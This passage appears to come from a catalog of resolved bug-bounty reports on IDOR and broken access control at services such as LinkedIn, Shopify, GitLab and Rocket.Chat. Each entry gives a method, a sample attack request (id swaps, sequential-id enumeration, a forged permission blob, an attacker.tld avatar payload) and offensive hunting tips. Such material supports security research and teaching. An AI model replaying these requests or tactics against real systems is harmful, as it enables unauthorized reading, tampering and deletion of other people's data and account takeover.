A DELETE endpoint for skill-assessment results authorized only on the object identifier, which was built from the victim's profile UUID (exposed in their public profile page source) plus a small numeric skill id (brute-forceable), letting anyone delete any user's results/badges.
Method
- Take an assessment; capture the DELETE request when removing your own result
- Extract the victim's fsd_profile UUID from their public profile page source
- Substitute the victim UUID into the DELETE URN
- Brute-force the numeric skill id (few requests) to delete each skill/badge
DELETE /voyager/api/voyagerAssessmentsDashSkillAssessmentAttemptReports/urn%3Ali%3Afsd_skillAssessmentAttemptReport%3A(urn%3Ali%3Afsd_profile%3A<VICTIM_UUID>%2Curn%3Ali%3Askill%3A280%2C1) HTTP/2
Host: www.linkedin.com
Insight — 'Unguessable' object IDs are not access control. If the identifier (UUID) leaks in public HTML/JSON and the server skips an ownership check, it's still IDOR. Combine leaked UUIDs with brute-forceable secondary ids (skill id) for full coverage.
Real-world example
Method param userId trusts client -> set any user's avatar
◆ Medium
Specimen #501084 · rocket_chat · none · 47 votes · resolved
Program rocket_chatSurface api
Root cause
The ufsImportURL upload method took a userId in the params object and did not verify it matched the authenticated caller, so any authenticated user could import an avatar on behalf of another user.
Method
- Authenticate to the API/websocket
- Call the ufsImportURL method with a target victim's userId in the params
- Server fetches the URL and stores it as the victim's avatar
["{\"msg\":\"method\",\"method\":\"ufsImportURL\",\"params\":[\"https://attacker.tld/x.gif\",{\"name\":\"ros.jpg\",\"extension\":\"jpg\",\"type\":\"text/plain\",\"userId\":\"<VICTIM_USER_ID>\"},\"Avatars\"],\"id\":\"15\"}"]
Insight — Any write method that carries an explicit userId/ownerId in its params is an IDOR candidate: substitute another id and see if server-side ownership is enforced. Common on RPC/method-call and mass-assignment style APIs.
Real-world example
Predictable integer token in lead API
◆ Medium
Specimen #1182465 · acronis · $100 · 47 votes · resolved
Program acronisSurface api
Root cause
An unauthenticated data endpoint is 'protected' by a token whose only variable part is an incrementing integer, making it trivially guessable.
Method
- Observe the lead endpoint URL and token structure
- Note only the trailing integer changes between accounts
- Iterate the integer to pull other leads' PII (company, name, phone)
GET https://www.acronis.com/en-us/api/v1/lead/id:929-HVV-335&token:_mch-acronis.com-<epoch>-<5digit-int>
Insight — Treat any 'token' that is an integer/timestamp as an IDOR: enumerate it. Real secrecy needs high-entropy random tokens.
Real-world example
Rating manipulation via unauthorized trip reference (BOLA)
◆ Medium
Specimen #724522 · uber · USD 1500 · 43 votes · resolved
Program uberSurface api
Root cause
The rate-driver endpoint does not verify that the referenced trip belongs to the authenticated rider. Supplying a valid tripUUID + driverUUID + userId lets an attacker set the rating for any trip, skewing a driver's average.
Method
- Rate one of your own trips and capture the request (tripUUID, driverUUID, userId, rating)
- Substitute another trip's UUIDs/ids
- Submit -> rating for that arbitrary trip is changed
POST rate-trip { tripUUID:<any>, driverUUID:<any>, userId:<any>, rating:5 }
Insight — Post-transaction feedback endpoints (ratings, reviews, tips, receipts) are prime BOLA targets: they take an object id but often skip the ownership join. Verify each id parameter against a second account. A driver could self-inflate ratings.
Real-world example
URN-based IDOR using two public identifiers
◆ Medium
Specimen #1837309 · linkedin · awarded · 42 votes · resolved
Program linkedinSurface api
Root cause
A private skill-test result is fetched by a composite URN built from a public profile id and a public skill id, with no viewer authorization.
Method
- Take target's public fsd_profile id and the public skill id
- Build the voyager assessment-report URN with those ids
- GET the endpoint to read private (failed/hidden) test results
GET /voyager/api/voyagerAssessmentsDashSkillAssessmentAttemptReports/urn:li:fsd_skillAssessmentAttemptReport:(urn:li:fsd_profile:<PROFILE>,urn:li:skill:<SKILL>,1)
Insight — Composite/URN identifiers built from public parts are still IDOR - assemble the URN from known-public ids and request the private resource.
Real-world example
Multipart form Id field IDOR (write) on demographic data
◆ Medium
Specimen #2586662 · deptofdefense · none · 40 votes · resolved
Program deptofdefenseSurface web
Root cause
A profile-save endpoint trusts an 'Id' form field to select the target record instead of deriving it from the session, allowing write to any user's record; the same base path also leaks reads.
Method
- Fill biographical info as User-A, intercept POST /JOINOnline/Board/SubmitDoc
- Change multipart 'Id' field from own id (1328) to victim id (1327)
- Submit; victim demographic details overwritten
- Same base path /JOINOnline/Board/QuestionCard/<id>/... leaks victim contact info (read)
POST /JOINOnline/Board/SubmitDoc (multipart)
name="UserId" 268
name="Id" 1327 <-- victim id
name="BoardId" 1021
...que28xx fields...
Insight — Multipart/form-data hides IDOR params - enumerate every name="...Id" part, not just query/JSON. One numeric id often controls both read and write across a whole base path.
Real-world example
Translate API fetches message by id without room access check
◆ Medium
Specimen #3713682 · rocket_chat · none · 40 votes · resolved
Program rocket_chatSurface api
Root cause
autotranslate.translateMessage calls Messages.findOneById(messageId) and never calls canAccessRoomIdAsync, so any authenticated user reads any message in any room.
Method
- Authenticate as any low-priv user
- Call the translate endpoint with a target message id from a private room/DM
- Full IMessage (text, sender, roomId, timestamps) returned
POST /api/v1/autotranslate.translateMessage {"messageId":"<targetMsgId>","targetLanguage":"en"}
Insight — Auxiliary features (translate, preview, export, pin) often re-fetch an object by id but skip the room/tenant ACL the primary read path enforces - audit every endpoint taking a message/object id.
Real-world example
Sequential numeric id on customer API leaks PII
◆ Medium
Specimen #975047 · shopify · 1000 · 40 votes · resolved
Program shopifySurface api
Root cause
A customer-profile API endpoint keys on a client-supplied numeric id with no per-object authorization, so incrementing the id traverses arbitrary users' information.
Method
- Log into the app (here a WeChat mini-program) and open edit-profile.
- Capture the profile fetch: GET /api/sp/customer/{id}.
- Increment/modify the id to enumerate other users' data.
GET https://api-wechat.shopify.cn/api/sp/customer/{id}
# increment {id} to traverse other customers
Insight — Mobile/mini-program and regional API subdomains often lag the main app's authorization hardening; back-end numeric-id endpoints exposed to those clients are prime IDOR targets.
Real-world example
Invitation API trusts client organization field -> org takeover
◆ Medium
Specimen #835005 · helium · $100 · 39 votes · resolved
Program heliumSurface apiChain GraphQL org-id disclosure -> invitation IDOR -> admin Tag graphqlTag account-takeover
Root cause
POST /api/invitations takes an 'organization' id and 'role' from the body and does not verify the requester is an admin of that organization.
Method
- As a reader, run the org-list GraphQL query to leak the target org's UUID
- Capture a legit invite for your own org (role admin) to your sock-puppet
- Swap the organization field to the target org's UUID and send
- Sock-puppet joins target as admin, then promotes attacker / deletes owner
POST /api/invitations
{"invitation":{"email":"attacker+1@wearehackerone.com","role":"admin","organization":"<TARGET_ORG_UUID>"}}
Insight — Multi-tenant invite/role endpoints often authorize the action but not the target tenant - swap the org/tenant id. Pair with a listing query (GraphQL) to harvest UUIDs.
Real-world example
Shared-bucket attachment overwrite by known filename
◆ Medium
Specimen #322661 · shopify · awarded · 38 votes · resolved
Program shopifySurface webTag file-upload
Root cause
Inbox attachments are stored at a flat S3 path keyed only by original filename, so a second upload with the same filename overwrites another user's file.
Method
- Upload a file (e.g. dudeuranium238.pdf) via inbox in store A; note the S3 URL
- From store B, reply with a file of the SAME name but different content
- The S3 object at /attachments/<name> is replaced by the attacker's content
Upload attachment named exactly '<victim_filename>' -> served at https://<bucket>.s3.amazonaws.com/attachments/<victim_filename>
Insight — When uploads are stored under a predictable/user-controlled filename in a shared bucket, you get cross-user read AND overwrite - test by re-uploading a known name.
Real-world example
Cross-privilege token minting via staff-member id
◆ Medium
Specimen #909863 · shopify · awarded · 38 votes · resolved
Program shopifySurface apiChain lowpriv login token -> arro_token IDOR -> victim KITCRTag account-takeover
Root cause
A token-generation endpoint issues a KITCRM auth token for whatever staff-member id is passed, so a low-priv user mints a high-priv user's token.
Method
- Low-priv user gets a Shopify Ping access token via the login API
- Call POST /api/v1/arro_token with id=<high-priv staff member id>
- Response returns the high-priv user's KITCRM bearer token
- Use it to read (GET /api/v2/messages) and write (POST /api/v2/messages) as that user
POST /api/v1/arro_token?access_token=<lowpriv>&myshopify_domain=<shop>&id=<highpriv_staff_id>
Insight — Token/credential-issuing endpoints are the highest-value IDOR: if they accept a target user id, they hand you that user's credential. Fuzz an id/staff_id on any *token* endpoint.
Real-world example
Subscribe to victims' order notifications via guessable order_id
◆ Medium
Specimen #1523584 · eternal · awarded · 37 votes · resolved
Program eternalSurface api
Root cause
WhatsApp order-status subscription is keyed only on a sequential/guessable order_id with no binding to the requesting phone number/account, so an attacker who sends a subscribe message for another user's order id begins receiving that order's status updates. Root cause per program: missing early-exit in the validation layer plus a caching overwrite in the subscription flow.
Method
- Learn the subscribe-by-message flow (user sends order id to a WhatsApp number to enable updates)
- Send a subscribe message with a victim's order id (ids are sequential, e.g. 15625383)
- Despite an error reply, attacker's number is subscribed and receives status events (assigned/en route/delivered)
WhatsApp message to notification number: <victim order_id e.g. 15625383>
Insight — Notification/subscription channels (SMS, WhatsApp, webhook, email digests) are IDOR surfaces: test whether subscribing binds the target object to the requester. Sequential order/booking ids + no owner check leak activity streams. Watch for 'error but still subscribed' (validation without early-exit).
Real-world example
Numeric comment id edit/delete IDOR with enumeration
◆ Medium
Specimen #861849 · rghost · none · 37 votes · resolved
Program rghostSurface web
Root cause
Comment edit/delete are keyed by an incrementing numeric comment id with no author check and no rate limit, and the response echoes the comment content.
Method
- Post a comment, capture the edit/delete request and its numeric id
- Swap the id to another user's comment - action succeeds
- Response leaks the target comment content; iterate with Intruder to harvest all threads
DELETE /comments/<id> (or edit with foreign comment id) - iterate <id> via Burp Intruder
Insight — Destructive comment/resource endpoints keyed by sequential ids are classic IDOR; the echoed content turns a tamper bug into bulk data enumeration. Also seen deleting drafts via discardDraftId (#868590).
Real-world example
Conduit API method bypasses UI 'visible to' ACL
◆ Medium
Specimen #661978 · phabricator · $300 · 36 votes · resolved
Program phabricatorSurface api
Root cause
slowvote.info API returns poll data by poll_id even when the web UI enforces 'Visible To: No one', because the API method omits the policy check.
Method
- User A creates a slowvote restricted to 'No one' / specific user
- User B confirms the web page denies access
- User B calls POST /api/slowvote.info with the target poll_id -> full data returned
POST /api/slowvote.info
__csrf__=...&__form__=1¶ms[poll_id]=<TARGET>&output=human
Insight — When the HTML view enforces a policy, hit the object's API/RPC method (Conduit, GraphQL, mobile API) - policy checks are frequently only wired into the web controller.
Real-world example
GraphQL mutation IDOR via object id variable
◆ Medium
Specimen #547663 · trint · none · 36 votes · resolved
Program trintSurface graphqlTag graphql
Root cause
The updateTranscriptMeta GraphQL mutation renames whatever transcriptId is supplied, without checking the caller owns (vs merely shares) the transcript.
Method
- Capture the rename mutation on your own file
- Replace transcriptId with a shared file's id (where you have view-only)
- Mutation renames the shared file despite lacking edit rights
POST / (graphql2.trint.com)
mutation updateTranscriptMeta($userId,$transcriptName,$transcriptId){ updateTranscriptMeta(userId:$userId, transcriptMeta:{trintTitle:$transcriptName}, transcriptId:$transcriptId){_id} }
variables: transcriptId=<SHARED_FILE_ID>
Insight — GraphQL mutations taking an object id + a userId variable are IDOR-prone; the userId is often decorative - only the object id matters. Test write mutations against view-only shared objects.
Real-world example
Migration/merge flow reflects victim email in HTML
◆ Medium
Specimen #1727044 · liberapay · $100 · 34 votes · resolved
Program liberapaySurface web
Root cause
The Gratipay migration route, on a username collision, renders a 'Yes, log me in' button whose value is the existing account's primary email - no authorization required.
Method
- POST /migrate?step=2 with any email_address and the victim username
- Server detects the existing account and renders the confirm form
- Read the HTML: name="log-in.id" value is the victim's primary email
POST /migrate?step=2
email_address=x@wearehackerone.com&username=<victim_username>
# response HTML: <button name="log-in.id" value="<victim_primary_email>">
Insight — Account-merge / 'is this you?' flows leak PII by pre-filling hidden form values (email, phone) with the matched account's data - inspect the raw HTML, not just the rendered page.
Real-world example
Sub-resource id not scoped to parent project
◆ Medium
Specimen #1372216 · gitlab · awarded · 34 votes · resolved
Program gitlabSurface api
Root cause
The status_check_responses endpoint accepts external_status_check_id without verifying it belongs to the project in the path, leaking every status check on the instance.
Method
- Trial 'Ultimate', create your own project + MR + status check
- POST to your MR's status_check_responses with a dummy sha to learn the correct sha
- Resend with the real sha, then increment external_status_check_id (1,2,...)
- Responses disclose other projects' private names, external URLs, protected-branch rules
POST /api/v4/projects/<ATTACK_PID>/merge_requests/1/status_check_responses?sha=<SHA>&external_status_check_id=<N>
Authorization: Bearer <TOKEN>
Insight — Nested routes /projects/:id/.../:child_id give false confidence - the parent :id is authorized but the :child_id often isn't scoped to it. Enumerate the child id across the whole instance.
Real-world example
Cross-org PII disclosure via base64 gid swap on GraphQL user-management mutations
◆ Medium
Specimen #1085042 · shopify · awarded · 33 votes · resolved
Program shopifySurface graphqlTag graphqlTag account-takeover
Root cause
Shopify Plus /users/api GraphQL mutations (UpdateOrganizationUserTfaEnforcement, UpdateOrganizationUserRole) accept a base64-encoded OrganizationUserID gid and, although the mutation itself errors for out-of-org targets, they trigger a notification email to the target that leaks the victim user's PII (2FA status, name, email, shop id) - a side-channel object-level authz break.
Method
- As a Shopify Plus org admin, trigger the 2FA-enforcement or role-change mutation on one of your own users
- Capture the POST /<org>/users/api GraphQL request and base64-decode the `id` (gid://organization/OrganizationUser/<num>)
- Change the numeric id to a victim user in another organization and resend
- Mutation returns an error, but a notification email arrives disclosing the victim's PII
POST /34808573/users/api
{"operationName":"UpdateOrganizationUserTfaEnforcement","variables":{"id":"<base64 gid://organization/OrganizationUser/VICTIM>","enforced":false},"query":"mutation UpdateOrganizationUserTfaEnforcement($id: OrganizationUserID!, $enforced: Boolean!){updateOrganizationUserTfaEnforcement(id:$id,enforced:$enforced){organizationUser{id tfaEnforced}}}"}
Insight — GraphQL global IDs are just base64(type/number) - decode, increment, and re-encode to reach other tenants' objects. Even when the primary response is denied, side effects (notification emails, webhooks, audit entries) can leak the target's data; test the whole reaction, not just the HTTP body.
Real-world example
Client-supplied permission blob trusted by server
◆ Medium
Specimen #308610 · valve · $500 · 33 votes · resolved
Program valveSurface web
Root cause
The forum comment endpoint reads an 'extended_data' JSON of topic_permissions from the request and honors it, so a forged blob (can_moderate=1) returns deleted comments and bypasses forum view restrictions.
Method
- View-source a discussion to grab GroupID/forumID/discussionID
- POST to /comment/ForumTopic/delete/<GroupID>/<forumID>/ with crafted extended_data granting can_moderate/can_view
- Read comments_raw in the response - includes deleted comments
- Repeat as a non-member (even for members-only forums) to expose all comments
POST /comment/ForumTopic/delete/<GroupID>/<forumID>/
...&extended_data={"topic_permissions":{"can_view":1,"can_moderate":1,"can_delete":1},"forum_public":0}&feature2=<discussionID>&include_raw=true
Insight — If the client sends its own permission/role object, forge it. Server-side authz must never be derived from a request-supplied permissions structure.
Real-world example
Incremental store id + permission-scheme confusion
◆ Medium
Specimen #243943 · shopify · $500 · 32 votes · resolved
Program shopifySurface web
Root cause
A partner member with only 'Manage apps' can open a store's detail URL directly (incremental id) and enumerate shop info and staff names, because the endpoint checks the wrong permission.
Method
- Invite a member with only 'Manage apps' permission
- Predict a store URL /<business_id>/stores/<store_id> (incremental, correlate then brute-fine-tune)
- Load it directly to read store info and, via Transfer-to-client dropdown, staff names
GET https://partners.shopify.com/<business_id>/stores/<store_id> (incremental store_id)
Insight — Incremental object ids let you predict neighbors; combine with permission-scheme confusion (endpoint gated on the wrong grant) to reach data the role shouldn't see.
Real-world example
Polymorphic type parameter (noteable_type) bypasses ownership finder
◆ Medium
Specimen #1751258 · gitlab · 1730 · 29 votes · resolved
Program gitlabSurface web
Root cause
A notes finder branches on a user-supplied noteable_type/target_type; for 'issue' it scopes to the attacker's project, but for 'personal_snippet' it does PersonalSnippet.all with no project/ownership check - so switching the type value writes notes onto any victim's private snippet.
Method
- As attacker create a project + issue, add a comment, intercept the notes POST
- Change target_type=issue -> target_type=personal_snippet and target_id -> VICTIM_SNIPPET_ID
- Note is created on the victim's private snippet; response returns note id (attacker owns it) so it can be edited/deleted too
- Snippet title leaks on the attacker's activity feed
POST /attacker/proj/notes?target_id=VICTIM_SNIPPET_ID&target_type=personal_snippet HTTP/2
Host: TARGET
{"note":{"noteable_type":"personal_snippet","noteable_id":VICTIM_SNIPPET_ID,"internal":false,"note":"x"}}
Insight — When an endpoint accepts a *type*/kind discriminator (noteable_type, target_type, commentable_type), enumerate every allowed value - a code path for one type often skips the ownership check other types enforce.
Real-world example
Unauthenticated address enumeration via id-in-cookie + zone matcher
◆ Medium
Specimen #514897 · eternal · 1500 · 29 votes · resolved
Program eternalSurface web
Root cause
Server returns a saved full address when the selectedAddressId cookie matches the delivery_subzone query param; the address id is never bound to the session, so any id can be read once the correct subzone is supplied - and the endpoint works unauthenticated with no rate limiting.
Method
- Load the order page /<city>/order-food-online?delivery_subzone=<zone> which reflects your saved address
- Note the address comes from the selectedAddressId cookie value
- Set selectedAddressId to a victim id; brute the small delivery_subzone space until the full address is returned instead of only geo-coords
- No auth and no rate limit -> mass enumeration
curl 'https://TARGET/mumbai/order-food-online?delivery_subzone=1050' \
-H 'Cookie: selectedAddressId=<VICTIM_ADDRESS_ID>'
Insight — An object id carried in a cookie is still user-controlled. When a resource requires a second 'matching' value (zone/region), that value is usually low-entropy and brute-forceable - and the auth check is often missing entirely.
Real-world example
userId path segment lets low-priv user toggle a feature for any account
◆ Medium
Specimen #2112973 · nextcloud · awarded · 29 votes · resolved
Program nextcloudSurface web
Root cause
The DAV calendar settings write targets /remote.php/dav/calendars/{userId} without verifying {userId} == session user, so a low-privileged account can enable Birthday-Contacts (and modify calendar settings) for any user, including admins.
Method
- Open Calendar > settings, click Enable Birthday Contacts, intercept the request
- Change the {userId} path segment to any victim (admin/superadmin) user id
- Send -> the feature is enabled on the victim's calendar
POST /remote.php/dav/calendars/{VICTIM_userId} HTTP/1.1
Host: TARGET
<x3:enable-birthday-calendar xmlns:x3="http://nextcloud.com/ns"/>
Insight — IDOR lives in path segments and WebDAV/PROPPATCH bodies, not only query/body ids. Any {user}/{id} in a REST/DAV path is a swap candidate.
Real-world example
Shared media dedup: delete your copy to delete the victim's
◆ Medium
Specimen #1437004 · x · awarded · 27 votes · resolved
Program xSurface web
Root cause
List cover photos are referenced by a mediaId; setting your list's cover to the victim's mediaId makes both entities point at one media object, so deleting the cover from the attacker's list deletes the shared underlying media - removing the victim's cover too.
Method
- Read the victim's list cover mediaId (public on their profile)
- Create your own list, change its cover, intercept the edit and set mediaId = victim's mediaId
- Delete the cover photo from your own list -> the shared media is deleted, wiping the victim's cover
POST /list/edit { "listId": <attacker_list>, "mediaId": <VICTIM_media_id> }
# then: DELETE the cover on the attacker list -> shared media removed
Insight — When media/files are deduplicated by a shared id, a write that binds your object to a victim's media id turns a delete on YOUR object into a delete on THEIRS. Test whether object A and B can be made to reference one media id.
Real-world example
Payment status endpoint readable anonymously by object id
◆ Medium
Specimen #1546726 · omise · USD 100 · 26 votes · resolved
Program omiseSurface api
Root cause
The payment status endpoint returned processing state for a payment id with no authentication, so anyone could query (and enumerate) payment statuses without logging in.
Method
- Log out entirely
- GET /payments/<payment_id>/status
- Receive 200 with {"processed":true}; enumerate ids to read others' payment states
GET /payments/paym_test_5rjz482tky43reoil9f/status HTTP/2
Host: api.omise.co
-> 200 {"processed":true}
Insight — Status/state sub-resources (.../status, .../state) are commonly forgotten in auth middleware. Test them unauthenticated and enumerate the object id. Even boolean state leakage is a valid IDOR / broken-access-control finding.
Real-world example
Expand projection + folder id + count to bulk-leak plaintext user ids
◆ Medium
Specimen #1005020 · bumble · awarded · 24 votes · resolved
Program bumbleSurface api
Root cause
The SERVER_GET_USER_LIST API returns unencrypted user_id (and extra fields via the projection list) for arbitrary list folders; changing the folder id, adding projection fields, and raising count dumps identifiers and metadata for large numbers of profiles.
Method
- Call SERVER_GET_USER_LIST and change folder id 0 -> 7 (the right-swiped deck)
- Read the response: user_id is present in plaintext
- Add fields to the projection array to pull more attributes (votes, match state)
- Increase count to page through many profiles
SERVER_GET_USER_LIST { "folder_id": 7, "projection": [<extra fields>], "count": <large> }
Insight — Client-driven 'projection'/'fields' and 'folder'/'filter'/'count' params are excessive-data-exposure levers: request more fields than the UI shows and enumerate folders. Plaintext ids meant to be opaque become an enumeration seed for messaging/impersonation.
Real-world example
Inconsistent authorization: one endpoint checks ownership, its sibling doesn't
◆ Medium
Specimen #245872 · gsa_bbp · awarded · 23 votes · resolved
Program gsa_bbpSurface api
Root cause
The build endpoint (/v0/build/ and /v0/build/<siteid>/log) acts on a client-supplied numeric site id without checking it belongs to the caller, even though other endpoints (e.g. site settings) do enforce the check - so any user can restart builds or read build logs of any site.
Method
- Login as user1, restart a build of your own site, intercept the POST
- Change the site id to a site owned by user2
- Send -> build restarts (or fetch /v0/build/<victim_site>/log to read logs)
- Confirm as user2 that the build was triggered by someone else
POST /v0/build/ HTTP/1.1
Host: TARGET
Content-Type: application/json
{"site":<VICTIM_SITE_ID>,"branch":"master"}
# read logs:
GET /v0/build/<VICTIM_SITE_ID>/log
Insight — Authorization is rarely uniform across an app. When one endpoint on an object enforces ownership, systematically test EVERY other verb/action on that same object id - the newest or most operational endpoints (build, log, export, restart) are the ones that forget the check.
Real-world example
VendorId param swap in SavePOC leaks vendor PII (+ mass-assign fields present)
◆ Medium
Specimen #1690044 · deptofdefense · none · 23 votes · resolved
Program deptofdefenseSurface web
Root cause
The company-contact SavePOC endpoint keys the record by a client-supplied VendorId/VendorPersonProfileId with no ownership check, so substituting a victim's VendorId returns/edits their contact PII; the request also carries userId/IsAdmin fields ripe for mass-assignment testing.
Method
- Create attacker + victim accounts; open My Companies > company contacts as attacker
- Intercept the SavePOC POST
- Change VendorId (and VendorPersonProfileId) to the victim's value (leaked in the victim's own request or brute-forced)
- Send -> victim contact information is returned/modified
POST /Vendor/Company/Contacts/SavePOC HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
EditPOCvm.Email=attacker@x.com&...&VendorId=<VICTIM_ID>&VendorPersonProfileId=<VICTIM_ID>&IsAdmin=false&__RequestVerificationToken=...
Insight — When a save/update form carries the object's owner id (VendorId, CompanyId, ProfileId) as a hidden field, swap it for a victim's. Note adjacent flags like IsAdmin - the same request is often a mass-assignment candidate too.
Real-world example
Cross-group child-epic linking via parent_id
◆ Medium
Specimen #1892200 · gitlab · 1160 · 22 votes · resolved
Program gitlabSurface apiTag graphql
Root cause
The epic-creation REST endpoint accepted a parent_id belonging to a group the caller has no rights over, without validating ownership of the parent object; the global epic id is discoverable from public/internal page source.
Method
- Get victim epic global id from page source (search gid://gitlab/Epic, e.g. issuable-id gid://gitlab/Epic/29).
- Create a child epic in your own group; intercept POST /api/v4/groups/<attackergroup>/epics.
- Change parent_id in the JSON body from your epic id to the victim epic id (29) and forward.
- Child epic is created and links into the victim epic in a group you do not control.
POST /api/v4/groups/attackerepicgroup/epics HTTP/1.1
Host: gitlab.example.com
Content-Type: application/json
{"parent_id":29,"confidential":false,"title":"Attacker Child Epic"}
Insight — When a create/link API takes a parent/relationship id, test supplying an id you do not own. Global object ids (GraphQL gid://) are routinely leaked in HTML source of public/internal objects.
Real-world example
Attach any user's media via sequential media_code
◆ Medium
Specimen #915133 · automattic · awarded · 22 votes · resolved
Program automatticSurface webTag file-upload
Root cause
When adding media to a survey question the server trusted a client-supplied sequential media_code without verifying the media belonged to the requester, exposing any user's media content.
Method
- Create a survey and add a question, proxy on.
- Save the question and intercept the request carrying media_code.
- Change media_code to any 7-digit id and forward; the victim's media renders on your question.
media_code=2013124
Insight — Sequential attachment/media ids attached to your own resource still resolve server-side without an ownership check. Iterate the id space to harvest others' uploads.
Real-world example
Missing server-side authz on campaign wallet API
◆ Medium
Specimen #1587374 · linkedin · awarded · 21 votes · resolved
Program linkedinSurface api
Root cause
The Campaign Manager accountCredits GET endpoint enforced no server-side authorization on the campaignId path segment, so replaying with another (serially numbered) campaignId returned that account's wallet balance and deposit history.
Method
- Create an ad account and open the billing/transactions page.
- Intercept GET /campaign-manager-api/campaignManagerAccounts/<campaignId>/accountCredits?q=account.
- Replace campaignId with a victim's (ids are serial) and replay; wallet totals and history are returned.
GET /campaign-manager-api/campaignManagerAccounts/VICTIM_CAMPAIGN_ID/accountCredits?q=account HTTP/2
Host: www.linkedin.com
Insight — Financial/reporting sub-resources of ad/marketing platforms are frequent authz gaps; the UI hides them but the API path id is directly swappable. Serial ids make enumeration trivial.
Real-world example
Advertiser PII leak via tampering the aadvid parameter
◆ Medium
Specimen #1018608 · tiktok · awarded · 21 votes · resolved
Program tiktokSurface apiTag account-takeover
Root cause
An Ads-portal endpoint returns an advertiser account's owner details (email, phone, company, name, contact email, address, qualification_url_secret) keyed only on the aadvid parameter, without verifying the caller owns that account (conditional on shared business-group membership).
Method
- Capture a request that includes an advertiser id parameter (aadvid)
- Swap aadvid to another account id
- Read the returned owner PII from the response
GET /ads/endpoint?aadvid=OTHER_ADVERTISER_ID
# response leaks email, phone, company, address, qualification_url_secret
Insight — On multi-tenant SaaS/ads/business portals, object ids like aadvid/advertiser_id/account_id are prime IDOR fuzz targets; excessive data exposure means the JSON often carries far more PII than the UI shows even under 'same business group' constraints.
Real-world example
Read/download any attachment via numeric id
◆ Medium
Specimen #916704 · nextcloud · 150 · 20 votes · resolved
Program nextcloudSurface webTag file-upload
Root cause
The Deck task attachment-view route served files by a low-entropy incremental id with no session/ownership check, letting any user view and download every uploaded attachment on the instance. CVE-2020-8235.
Method
- Upload a file to a Deck task and capture the view URL /apps/deck/cards/<card>/attachment/<id>.
- As a different user, request the same URL.
- Brute-force the numeric id to harvest all attachments on the provider.
GET /apps/deck/cards/8420/attachment/30 HTTP/1.1
Host: TARGET
Insight — Read-side twin of the delete IDOR (1755555) in the same app: the same object namespace is unprotected for GET as well as DELETE. Always test every verb/route touching a shared id space.
Real-world example
Private listing screenshots via shop_screenshots/<id>
◆ Medium
Specimen #318751 · shopify · awarded · 20 votes · resolved
Program shopifySurface webTag file-upload
Root cause
The Exchange screenshot-preview endpoint returned a public URL for any screenshot id without checking that the requesting shop owned it, exposing private listing photos and shop domains regardless of listing visibility.
Method
- Preview a photo in the app/listing section and capture GET /listings/<handle>/shop_screenshots/<id>.
- Iterate the numeric id.
- Retrieve URLs of private listing screenshots for other shops.
GET /listings/hackeronevg1110/shop_screenshots/85952 HTTP/1.1
Host: exchange.shopify.com
Insight — 'Preview/render' endpoints on adjacent services (exchange.shopify.com here) often lack the visibility checks enforced on the main app. Cross-service object ids are a blind spot.
Real-world example
Draft media disclosure via sequential attachment ID in preview API
◆ Medium
Specimen #1290170 · line · awarded · 19 votes · resolved
Program lineSurface webTag account-takeover
Root cause
LINE BLOG assigns sequential ids to uploaded images/videos and the preview API's ownership check is flawed, so changing the attachment id returns other users' unpublished draft media.
Method
- Upload media to a draft and capture the preview API request containing the attachment id
- Decrement/enumerate the sequential attachment id
- Retrieve another user's unpublished draft image/video
POST/GET <preview API>?attachmentId=<other_user_sequential_id>
Insight — Sequential ids on 'draft/preview/unpublished' objects are high-value IDOR: the preview/render path often trusts the id more than the publish path. Enumerate the id space around your own to pull neighbors' pre-release content.
Real-world example
Cross-tenant write by swapping outlet_id foreign key
◆ Medium
Specimen #317332 · vend_vdp · none · 19 votes · resolved
Program vend_vdpSurface web
Root cause
Creating a register in your own store B, then swapping vend_register[outlet_id] to an outlet id belonging to store A, wrote the register into the other tenant's store because the server never checked the outlet belonged to the caller's store.
Method
- Create your own store B (self-service signup) and an outlet in it.
- Also hold a low-role (Cashier) account in target store A; grab an outlet id from A's Sales Ledger page source.
- Add a register in store B and intercept the POST.
- Replace vend_register[outlet_id] with store A's outlet id and forward; the register appears in store A.
POST /register/create/outlet_id/<B_outlet> HTTP/1.1
Host: STOREB.vendhq.com
Content-Type: application/x-www-form-urlencoded
vend_register%5Boutlet_id%5D=<A_outlet_id>&vend_register%5Bname%5D=6&vend_register%5B_csrf_token%5D=<token>
Insight — Multi-tenant SaaS that lets anyone spin up a free tenant: create your own object, then repoint its foreign-key id at a victim tenant. The write path rarely re-validates that referenced parent ids belong to your tenant.
Real-world example
Device/license info leak via profile_id path IDOR
◆ Medium
Specimen #783117 · clario · awarded · 19 votes · resolved
Program clarioSurface web
Root cause
account.mackeeper.com load-reports endpoint returned device/license data for any profile id supplied in the path without verifying the authenticated user owned that profile.
Method
- Log in to account.mackeeper.com.
- Request /at/load-reports/profile/<USER_PROFILE_ID>?type=0&offset=0 with a victim profile id.
- Read the victim's devices/licenses.
GET /at/load-reports/profile/VICTIM_PROFILE_ID?type=0&offset=0 HTTP/1.1
Host: account.mackeeper.com
Insight — Reporting/dashboard 'load-reports' endpoints take a profile/account id in the path and are a common IDOR surface for leaking licensing, billing and device inventory.
Real-world example
Read protected reports via the clone function
◆ Medium
Specimen #1505609 · gsa_vdp · none · 19 votes · resolved
Program gsa_vdpSurface web
Root cause
Direct read of another user's scorecard returned HTTP 500 (checked), but the clone/duplicate function accepted a victim scorecard template id without an access check, copying the victim's data into the attacker's account where it was readable.
Method
- Have your own scorecard; start the clone scorecard flow.
- Intercept and set the source template parameter (nTwsUserScorecard.Template) to the victim's scorecard id.
- Submit; the victim's scorecard is cloned into your account and its contents are readable.
nTwsUserScorecard.Template=VICTIM_SCORECARD_ID
Insight — When the primary read path is protected, test secondary operations on the same object - clone/copy/duplicate/export/print - which frequently omit the check. The clone writes the data somewhere you can read.
Real-world example
CSV report export IDOR via userID in path
◆ Medium
Specimen #1118638 · gsa_vdp · none · 18 votes · resolved
Program gsa_vdpSurface web
Root cause
A Drupal reporting CSV export keyed on a userID path segment with no ownership check, returning any user's quiz results (name, agency, score) by changing the id.
Method
- Open the quizzes-taken-by-user report and click Download CSV; intercept the request.
- Change the numeric USERID in /reports/quizzes-taken-by-user.csv/<USERID>.
- Receive the victim's quiz result CSV.
GET /reports/quizzes-taken-by-user.csv/1226356?page&_format=csv HTTP/1.1
Host: training.smartpay.gsa.gov
Insight — CSV/XLS export and 'report' endpoints commonly embed a user id in the path and skip authz because they're treated as internal admin tooling. Change the id and check for a downloadable body.
Real-world example
IDOR in group-sharing to read arbitrary private groups/projects
◆ Medium
Specimen #131210 · gitlab · none · 17 votes · resolved
